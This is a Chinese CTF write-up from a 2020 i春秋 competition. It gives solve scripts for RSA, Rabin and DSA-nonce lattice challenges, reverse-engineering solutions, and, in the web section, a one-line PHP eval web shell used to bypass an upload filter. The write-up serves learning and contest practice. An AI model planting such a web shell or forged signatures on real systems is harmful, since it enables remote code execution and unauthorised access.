2020 i春秋网络安全公益赛

2020年打的第一场比赛,题目不难,时间都花去解密码题了,虽然也没解出几道(还是太菜了

Crypto

warm_up

rsa+rabin+xor

共因子分解 p、q,再求s

又gcd(125794,phi)==2,只能算出 s**2 mod n

所以就有了 pow(s,2,p*q) = c

p,q,c已知幂为2,其实就是rabin加密,可以算出4个s,其中有且仅有一个素数,由此得到s就可以算phi了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import gmpy2
from Crypto.Util.number import *


def rabin_decrypt(c, p, q, e=2):
n = p * q
mp = pow(c, (p + 1) / 4, p)
mq = pow(c, (q + 1) / 4, q)
yp = gmpy2.invert(p, q)
yq = gmpy2.invert(q, p)
r = (yp * p * mq + yq * q * mp) % n
rr = n - r
s = (yp * p * mq - yq * q * mp) % n
ss = n - s
return (r, rr, s, ss)


# n1=p*q
# n2=p*r
# n3=p*q*s
# c1=pow(s,e1,n1)
# Key=int(KEY.encode('hex'),16)
# key_encode=pow(Key,e2,n3)

e1 = 125794
e2 = 42373
c1 = 9977992111543474765993146699435780943354123551515555639473990571150196059887059696672744669228084544909025528146255490100789992216506586730653100894938711107779449187833366325936098812758615334617812732956967746820046321447169099942918022803930068529359616171025439714650868454930763815035475473077689115645913895433110149735235210437428625515317444853803605457325117693750834579622201070329710209543724812590086065816764917135636424809464755834786301901125786342127636605411141721732886212695150911960225370999521213349980949049923324623683647865441245309856444824402766736069791224029707519660787841893575575974855
n1 = 15653165971272925436189715950306169488648677427569197436559321968692908786349053303839431043588260338317859397537409728729274630550454731306685369845739785958309492188309739135163206662322980634812713910231189563194520522299672424106135656125893413504868167774287157038801622413798125676071689173117885182987841510070517898710350608725809906704505037866925358298525340393278376093071591988997064894579887906638790394371193617375086245950012269822349986482584060745112453163774290976851732665573217485779016736517696391513031881133151033844438314444107440811148603369668944891577028184130587885396017194863581130429121
n2 = 16489315386189042325770722192051506427349661112741403036117573859132337429264884611622357211389605225298644036805277212706583007338311350354908188224017869204022357980160833603890106564921333757491827877881996534008550579568290954848163873756688735179943313218316121156169277347705100580489857710376956784845139492131491003087888548241338393764269176675849400130460962312511303071508724811323438930655022930044289801178261135747942804968069730574751117952892336466612936801767553879313788406195290612707141092629226262881229776085126595220954398177476898915921943956162959257866832266411559621885794764791161258015571
key_encode = 154190230043753146353030548481259824097315973300626635557077557377724792985967471051038771303021991128148382608945680808938022458604078361850131745923161785422897171143162106718751785423910619082539632583776061636384945874434750267946631953612827762111005810457361526448525422842867001928519321359911975591581818207635923763710541026422076426423704596685256919683190492684987278018502571910294876596243956361277398629634060304624160081587277143907713428490243383194813480543419579737033035126867092469545345710049931834620804229860730306833456574575819681754486527026055566414873480425894862255077897522535758341968447477137256183708467693039633376832871571997148048935811129126086180156680457571784113049835290351001647282189000382279868628184984112626304731043149626327230591704892805774286122197299007823500636066926273430033695532664238665904030038927362086521253828046061437563787421700166850374578569457126653311652359735584860062417872495590142553341805723610473288209629102401412355687033859617593346080141954959333922596227692493410939482451187988507415231993

p = gmpy2.gcd(n1, n2)
q = n1 // p
phi1 = (p - 1) * (q - 1)
m = getPrime(1500)
d1 = gmpy2.invert(e1 // 2, phi1)
a = pow(c1, d1, n1) #s*2 = a mod n

l = rabin_decrypt(a, p, q)

s = 0
for i in l:
if isPrime(i):
s = i
assert (pow(s, e1, n1) == c1)

n3 = p * q * s
phi3 = phi1 * (s - 1)
d3 = gmpy2.invert(e2, phi3)
key = pow(key_encode, d3, n3)

enc = 17403902166198774030870481073653666694643312949888760770888896025597904503707411677223946079009696809
dec = key ^ enc
mask = int('1' * 335, 2)
dec = (dec ^ (dec << 200)) & mask

print(dec)
print(long_to_bytes(dec))

flag{79cef3d7-2c49-4cc6-94a3-e058c6c42835}

EasyRSA

共模攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
n = 27560959918385616419486273009594513460044316476337842585463553105701869531698366304637678008602799005181601310816935394003041930445509801196554897781529962616349442136039951911764620999116915741924245788988332766182305635804754798018489793066811741026902011980807157882639313892932653620491354630354060462594865874663773934670618930504925812833202047183166423043264815905853486053255310346030416687430724204177468176762512566055165798172418622268751968793997676391170773216291607752885987933866163158257336522567086228092863302685493888839866559622429685925525799985062044536032584132602747754107800116960090941957657
e1 = 464857
e2 = 190529
c1 = 21823306870841016169952481786862436752894840403702198056283357605213928505593301063582851595978932538906067287633295577036042158302374948726749348518563038266373826871950904733691046595387955703305846728530987885075910490362453202598654326947224392718573893241175123285569008519568745153449344966513636585290770127055273442962689462195231016899149101764299663284434805817339348868793709084130862028614587704503862805479792184019334567648078767418576316170976110991128933886639402771294997811025942544455255589081280244545901394681866421223066422484654301298662143648389546410087950190562132305368935595374543145047531
c2 = 9206260935066257829121388953665257330462733292786644374322218835580114859866206824679553444406457919107749074087554277542345820215439646770680403669560474462369400641865810922332023620699210211474208020801386285068698280364369889940167999918586298280468301097349599560130461998493342138792264005228209537462674085410740693861782834212336781821810115004115324470013999092462310414257990310781534056807393206155460371454836230410545171068506044174001172922614805135260670524852139187370335492876094059860576794839704978988507147972109411033377749446821374195721696073748745825273557964015532261000826958288349348269664

import gmpy2
from Crypto.Util.number import long_to_bytes

s0, s1, s2 = gmpy2.gcdext(e1, e2)
if s1 < 0:
s1 = -s1
c1 = gmpy2.invert(c1, n)
elif s2 < 0:
s2 = -s2
c2 = gmpy2.invert(c2, n)
m = gmpy2.powmod(c1, s1, n)*gmpy2.powmod(c2, s2, n) % n
print('[-]m is:', long_to_bytes(m))
#flag{WuHanJiaYou!!!!!!}

easy_RSA

就一个知识点

q = (2**1024 - 1) ^ p + 65537 => (q-65537) + p = 2**1024 - 1

p+q == 2**1024-65538

解一元二次方程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from Crypto.Util.number import *
import gmpy2

n = 7772032347449135823378220332275440993540311268448333999104955932478564127911903406653058819764738253486720397879672764388694000771405819957057863950453851364451924517697547937666368408217911472655460552229194417053614032700684618244535892388408163789233729235322427060659037127722296126914934811062890693445333579231298411670177246830067908917781430587062195304269374876255855264856219488896495236456732142288991759222315207358866038667591630902141900715954462530027896528684147458995266239039054895859149945968620353933341415087063996651037681752709224486183823035542105003329794626718013206267196812545606103321821
c = 2082303370386500999739407038433364384531268495285382462393864784029350314174833975697290115374382446746560936195242108283558410023998631974392437760920681553607338859157019178565294055755787756920003102506579335103169629546410439497570201554568266074421781047420687173530441469299976286281709526307661219925667082812294328343298836241624597491473793807687939912877432920934022304415340311930199467500833755390490763679081685821950332292303679223444816832000945972744492944044912168217765156110058474974887372388032286968936052010531850687361328326741707441938740295431353926037925950161386891437897990887861853097318
e = 65537
# p+q = 2**1024-65538 and p*q = n => q**2 - (2**1024-65538)*q + n = 0
p = ((2**1024-65538) + gmpy2.iroot((2**1024-65538)**2 - 4*n,2)[0])//2
q = n//p
phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)
m = pow(c,d,n)
flag = long_to_bytes(m)
print(flag)
#flag{8edf268a85202e540aaa070ac8ff63d2}

LCG

LCG to DSA,k存在线性关系

参考

https://github.com/pcw109550/write-up/tree/master/2019/DEFCON/tania

魔改下sage代码,改得不太好,成功率大概百分之五十(虚拟机sage恢复快照恢复没了,没写成exp,拼手速

sage在线https://sagecell.sagemath.org/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
p = 130333458067095360348130950721230774751621761834488608409527025002236423782720410777827282553809013041996307514477632173973104508525268490069618923242342738301435251323204357581290464182936651741782879029384520572881285707893688816385746123467926351757503503539294480789448841461659407755817883221473523487973
q = 837755551167460257692787882189727780394726772833
g = 12024096372339682960526557683581436357293283215343997771131292478996528847320954685241633017653642652057102765310001443858062073122236510989249944118146042928920430149051644732814822161087549485840013542857240153830838022898248052043466838312870563425596026239434244567102769777073608663275001579392930228464
y = 108523596838679337654299921385592064511837579265203612271025521537067329951647895839430301754531744295124745776428649849251756635288111351922313014364522357798782309623603678075220735747170068419250544314336391208250408553893413488317640318013369036095801759257423651364411417495953742453694687368063103806873

a = 0x66656E6752C56F15150995AA5819131C3C709AACA84C5633846074689A5E06C4F482218F8C76E5A0B6F54EC9
b = 0x6C694F19FD6115B512D4B9B08891EF4D98D0131DBCB65C5082A2E50D000F9709873B9DB7743A4F3466C7

z1 = a>>320
r1 = (a>>160)&(2**160-1)
s1 = a&(2**160-1)
z2 = b>>320
r2 = (b>>160)&(2**160-1)
s2 = b&(2**160-1)
a = (233333*y)%q
b = (0x2333*y)%q
c = [a,b,q,a,b,q,2,-1,q,q]
# k2 = (c[6] * ((c[0] * k1 + c[1]) % c[2]) + c[7] * ((c[3] * k1 + c[4]) % c[5]) + c[8]) % c[9]

# http://mslc.ctf.su/wp/plaidctf-2016-sexec-crypto-300/
def Babai_closest_vector(M, G, target):
# Babai's Nearest Plane algorithm
small = target
for _ in range(1):
for i in reversed(range(M.nrows())):
c = ((small * G[i]) / (G[i] * G[i])).round()
small -= M[i] * c
return target - small

# https://cseweb.ucsd.edu/~mihir/papers/dss-lcg.pdf
B = Matrix([
[-r1, -r2, 0, 0, 0, 2 / q, 0, 0, 0, 0], # x
[ s1, 0, 0, -c[0], -c[3], 0, 2 / c[9], 0, 0, 0], # k1
[ 0, s2, 1, 0, 0, 0, 0, 2 / c[9], 0, 0], # k2
[ 0, 0, -c[6], 1, 0, 0, 0, 0, 2 / c[2], 0], # v1
[ 0, 0, -c[7], 0, 1, 0, 0, 0, 0, 2 / c[5]], # v2
[ q, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[ 0, q, 0, 0, 0, 0, 0, 0, 0, 0],
[ 0, 0, c[9], 0, 0, 0, 0, 0, 0, 0],
[ 0, 0, 0, c[2], 0, 0, 0, 0, 0, 0],
[ 0, 0, 0, 0, c[5], 0, 0, 0, 0, 0]
])

Y = vector([z1, z2, c[8], c[1], c[4], 1, 1, 1, 1, 1])

# k2 = (c[6] * ((c[0] * k1 + c[1]) % c[2]) + c[7] * ((c[3] * k1 + c[4]) % c[5]) + c[8]) % c[9]

# v1 = (c[0] * k1 + c[1]) % c[2]
# v2 = (c[3] * k1 + c[4]) % c[5]

# -r1 x + k1 s1 = z1 mod q
# -r2 x + k2 s2 = z2 mod q
# k2 - c[6] v1 - c[7] v2 = c[8] mod c[9]
# -c[0] * k1 + v1 = c[1] mod c[2]
# -c[3] * k1 + v2 = c[4] mod c[5]
# 1/x ~ 2 / q
# 1/k1 ~ 2 / m3
# 1/k2 ~ 2 / m3
# 1/v1 ~ 2 / c[2]
# 1/v2 ~ 2 / c[5]

for itr in range(100):
# print("Trial: {:d}".format(itr))
for i in range(50):
ia = randint(0, 9)
ib = randint(0, 9)
if ib == ia:
ib = (ib + 1) % 10
val = randint(-10, 10)
B[ia] += val * B[ib]

M = B.LLL()
G = M.gram_schmidt()[0]

W = Babai_closest_vector(M, G, Y)

if (W[0] == Y[0]
and W[1] == Y[1]
and W[2] == Y[2]
and W[3] == Y[3]
and W[4] == Y[4]):
break

x = W[5] * q / 2
k1 = W[6] * c[9] / 2
k2 = W[7] * c[9] / 2

assert pow(int(g), int(x), int(p)) == y

print("x = {:d}".format(int(x)))
print("k = {:d}".format(int(k1)))

admin签名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from Crypto.Util import number
from Crypto.Util.number import bytes_to_long

p = 130333458067095360348130950721230774751621761834488608409527025002236423782720410777827282553809013041996307514477632173973104508525268490069618923242342738301435251323204357581290464182936651741782879029384520572881285707893688816385746123467926351757503503539294480789448841461659407755817883221473523487973
q = 837755551167460257692787882189727780394726772833
g = 12024096372339682960526557683581436357293283215343997771131292478996528847320954685241633017653642652057102765310001443858062073122236510989249944118146042928920430149051644732814822161087549485840013542857240153830838022898248052043466838312870563425596026239434244567102769777073608663275001579392930228464
y = 108523596838679337654299921385592064511837579265203612271025521537067329951647895839430301754531744295124745776428649849251756635288111351922313014364522357798782309623603678075220735747170068419250544314336391208250408553893413488317640318013369036095801759257423651364411417495953742453694687368063103806873

a = 0x66656E6752C56F15150995AA5819131C3C709AACA84C5633846074689A5E06C4F482218F8C76E5A0B6F54EC9
b = 0x6C694F19FD6115B512D4B9B08891EF4D98D0131DBCB65C5082A2E50D000F9709873B9DB7743A4F3466C7

x = 526714742242008295998162007820673108223255742598
k = 597843802970261534007601903754583309912140797068


def _sign(m):
k_inv = number.inverse(k, q)
r = pow(g, k, p) % q
s = (k_inv * (m + x * r)) % q
return map(int, (r, s))


def sign_up(name):
m = bytes_to_long(name)
sig = _sign(m)
return sig


name = b'admin'
(r, s) = sign_up(name)
sig = name + r.to_bytes(20, 'big') + s.to_bytes(20, 'big')
print(sig.hex().upper().encode())

get flag flag{8213638b-3f00-46e4-8250-6ab802ee9906}

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import socketserver
import os, signal
import threading
import string, binascii
from hashlib import sha256

from Crypto.Util import number
from Crypto.Random import random, atfork

from secret import FLAG


class Task(socketserver.BaseRequestHandler):

_key = None
_rand_iter = None

def _recvall(self):
BUFF_SIZE = 2048
data = b''
while True:
part = self.request.recv(BUFF_SIZE)
data += part
if len(part) < BUFF_SIZE:
break
return data.strip()

def send(self, msg, newline=True):
try:
if newline:
msg += b'\n'
self.request.sendall(msg)
except:
pass

def recv(self, prompt=b'> '):
self.send(prompt, newline=False)
return self._recvall()

def proof_of_work(self):
proof = ''.join(
[ random.choice(string.ascii_letters+string.digits) for _ in range(20) ]
)
_hexdigest = sha256( proof.encode() ).hexdigest()
self.send(str.encode( "sha256(XXXX+%s) == %s" % (proof[4:], _hexdigest) ))
x = self.recv(prompt=b'Give me XXXX: ')

if len(x) != 4 or sha256(x+proof[4:].encode()).hexdigest() != _hexdigest:
return False
return True

def timeout_handler(self, signum, frame):
self.send(b"\n\nSorry, time out.\n")
raise TimeoutError

def lcg(self, seed, params):
(a, b, m) = params

x = seed % m
while True:
x = (a*x + b) % m
yield x

def genDSA(self):
q = number.getPrime(160)

while True:
X = random.getrandbits(1024)
c = X % (q * 2)
p = X - (c - 1)
if number.isPrime(p) and p.bit_length()==1024:
break

e = (p - 1) // q
h = 2
g = pow(h, e, p)

c = random.getrandbits(160)
x = c % (q - 1) + 1
y = pow(g, x, p)

self._key = { 'y':y, 'g':g, 'p':p, 'q':q, 'x':x }

def send_params(self, **params):
for kw in params:
self.send(str.encode(f"{kw} = {params[kw]}"))

def _sign(self, m):
if not self._key:
raise ValueError("[*] DSA key is None")

k = next(self._rand_iter)
if not (1 < k < self._key['q']):
raise ValueError("[*] k is not between 2 and q-1")

x, q, p, g = [self._key[comp] for comp in ['x', 'q', 'p', 'g']]

k_inv = number.inverse(k, q)

r = pow(g, k, p) % q
s = (k_inv * (m + x * r)) % q
return map(int, (r, s))

def _verify(self, m, sig):
r, s = sig
y, q, p, g = [self._key[comp] for comp in ['y', 'q', 'p', 'g']]
if not (0 < r < q) or not (0 < s < q):
return False

w = number.inverse(s, q)
u1 = int((w * m) % q)
u2 = int((w * r) % q)
v = (pow(g, u1, p) * pow(y, u2, p) % p) % q

return v == r

def _is_valid_name(self, name):
if not (0 < len(name) <= 20):
raise ValueError("[*] name length inappropriate")

for c in name:
if c not in string.printable.encode():
raise ValueError("[*] name is unprintable")

if name == b'admin':
raise ValueError("[*] name is equal to 'admin'")

return True

def sign_up(self, name):
if not self._is_valid_name(name):
return None

m = int.from_bytes(name, 'big')
sig = self._sign(m)

return sig


def sign_in(self, data):
assert (40 < len(data) <= 60), "signature wrong length"

(name, r, s) = (data[:-40], data[-40:-20], data[-20:])
m, *sig = map(lambda x: int.from_bytes(x, 'big'), (name, r, s))

if not self._verify(m, sig):
raise ValueError("Wrong signature")

return name

def handle(self):
atfork()

try:
signal.signal(signal.SIGALRM, self.timeout_handler)
signal.alarm(60)

daemon_thread = threading.Thread(target=self.genDSA, daemon=True)
daemon_thread.start()

if not self.proof_of_work():
return

daemon_thread.join()

self.send_params(p = self._key['p'],
q = self._key['q'],
g = self._key['g'],
y = self._key['y'])

seed = random.getrandbits(160)
a = self._key['y'] * 233333 % self._key['q']
b = self._key['y'] * 0x2333 % self._key['q']
m = self._key['q']
self._rand_iter = self.lcg(seed, (a,b,m))

for _ in range(16):
command = self.recv(prompt=b'$ ')

if not command:
break

if command == b'sign up':
self.send(b'Give me your username')
name = self.recv()
(r, s) = self.sign_up(name)
sig = name + r.to_bytes(20, 'big') + s.to_bytes(20, 'big')
self.send(b'Here is your signature(hex)')
self.send(sig.hex().upper().encode())

elif command == b'sign in':
self.send(b'Give me your signature(hex)')
hex_data = self.recv()
data = binascii.unhexlify(hex_data)
name = self.sign_in(data)
self.send(str.encode(f"Welcome, {name.decode()}."))
if name == b"admin":
self.send(str.encode(f"The flag is {FLAG}."))

else:
break

self.send(b'Bye~~')
self.request.close()

except:
pass


class ForkedServer(socketserver.ForkingMixIn, socketserver.TCPServer):
pass

if __name__ == "__main__":
HOST, PORT = '0.0.0.0', 1234
server = ForkedServer((HOST, PORT), Task)
server.allow_reuse_address = True
server.serve_forever()

Reverse

easyVM

逆指令,人肉汇编,直接口算flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
0x72, 0xDE, 0xC1, 0xD4, 0x6D, 0x58, 0x6B, 0x2D, 0x87, 0x69, 0xC8, 0x6E, 0xDC, 0x47, 0xD3, 0x61, 0xC6, 0x71, 0x29, 0x7D
1, 101, 0, mov r1,flag[0]
1, 102, 220, mov r2,220+56-256
2, 101, 102, xor r1,r2
1, 0, 101, mov flag[0],r1 f
1, 101, 1, mov r[1],flag[1]
3, 101, 0, add r1,check[0]
1, 1, 101, mov flag[1],r1 l
1, 102, 1, mov r2,check[1]
1, 101, 2, mov r1,flag[2]
2, 101, 102, xor r1,r2
5, 101, inc r1
5, 101, inc r1
1, 2, 101, mov flag[2],r1 a
2, 3, 0, xor flag[3],check[0]
2, 3, 2, xor flag[3],check[0] g
5, 4, inc flag[4]
4, 4, 215, sub flag[4],flag[4]-215-56+0x100 {
1, 102, 5, mov r2,flag[5]
1, 101, 230, mov r1,0x1e
4, 102, 101, sub r2,r1
1, 5, 102, mov flag[5],r2 v
6, 6, dec flag[6]
6, 6, dec flag[6] m
1, 101, 0, mov r1,check[0]
2, 7, 101, xor flag[7],r1 _
3, 8, 230, add flag[8],230+56 i
4, 9, 210, sub flag[9],-210-56+0x100 s
1, 101, 10, mov r1,flag[10]
1, 102, 9, mov r2,flag[9]
3, 101, 102, sub r1,r2
1, 10, 101, mov flag[10],r1 _
6, 11, dec flag[11]
5, 11, inc flag[11] n
6, 12, dec flag[12]
3, 12, 12, add flag[12],flag[12] o
1, 101, 13, mov r1,flag[13]
1, 102, 14, mov r2,flag[14]
3, 102, 101, add r2,r1
1, 14, 102, mov flag[14],r2 13+14 = 0xd3
3, 101, 102, add r1,r2 13+14+13 = 0x147
1, 13, 101, mov flag[13],r1 t_
1, 101, 15, mov r1,flag[15]
1, 102, 16, mov r2,flag[16]
3, 102, 101, add r2,r1
1, 16, 102, mov flag[16],r2 15+16 = c6
4, 102, 101, sub r2,r1 15+15-15 = 61
1, 15, 102, mov flag[15],r2 ae
6, 17, dec flag[17]
6, 17, dec flag[17] sy
4, 18, 240, sub flag[18],-240-56+0x100
4, 18, 240, sub flag[18],-240-56+0x100
255


flag{vm_is_not_easy}

当然更简单的就是angr一把梭,秒出答案

1
2
3
4
5
6
7
8
9
import angr

p = angr.Project('./EasyVM')
st = p.factory.entry_state()
sm = p.factory.simulation_manager(st)

sm.explore(find = 0x400b73)
if sm.found:
print(sm.found[0].posix.dumps(0))

babymac

mac逆向,mac虚拟机只剩一个压缩包在移动硬盘,解压完静态看完了(移动硬盘速度实慢),就懒得动态了,很简单就一条方程,直接4个字节、4个字节爆flag完事,速度还行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from Crypto.Util.number import bytes_to_long,long_to_bytes

a = [0x0000000000000001, 0x00000000000001FE, 0x0000000000001A79, 0x0000000000004940, 0x000000000000712F, 0x000000000000E1C5, 0x000000000001E866, 0x000000000003B85C, 0x00000000000760B0, 0x00000000000ED95D, 0x00000000001DB360, 0x00000000003B4D46, 0x000000000076A007, 0x0000000000ED528C, 0x0000000001DA9434, 0x0000000003B51CEA, 0x00000000076A592D, 0x000000000ED4AA88, 0x000000001DA951A4, 0x000000003B529EF7, 0x0000000076A55442, 0x00000000ED4AB07B, 0x00000001DA9560A0, 0x00000003B52AACC4, 0x000000076A5553D9, 0x0000000ED4AA997D, 0x0000001DA9553387, 0x0000003B52AA7EED, 0x00000076A554F324, 0x000000ED4AA9E5D7, 0x000001DA9553C9B2, 0x000003B52AA79A0C]
b = []
for i in a:
tmp = 0x10A9FC70042 * i
tmp %= 0x682669BC19DB
b.append(tmp)

res = [0x00030970372813D2, 0x0002D3A89BCA52AC, 0x00031551E79154A2, 0x0002C522E9A5298A, 0x0002A61367C5C698, 0x000264491C01CAFD, 0x00026CA3A06C98B3, 0x0002DACBD12FB903, 0x0002E470707574E1, 0x000309E5DC39A9A7]

def encrypt(x):
res = 0
for i in range(31,-1,-1):
res += b[i] * (x & 1)
x >>= 1
return res

def crack(res):
for i in range(120,0x80):
for j in range(0x20,0x80):
for k in range(0x20,0x80):
for z in range(0x20,0x80):
tmp = (i<<24) + (j<<16) + (k <<8) + z
if encrypt(tmp) == res:
print(long_to_bytes(tmp)[::-1])
return True

#flag{m3Rkl3_h3LLMaN_KNaPsacK_Al90R17Hm!}

WEB

ezupload

过滤了php等等一些字符,传shell,蚁剑连接执行readflag即可

1
2
3
<script language="phP"> 
@eval($_POST["pass"]);
</script>

flag{39b842b4-a290-4fe8-9d83-757ff4a8b4cc}

0%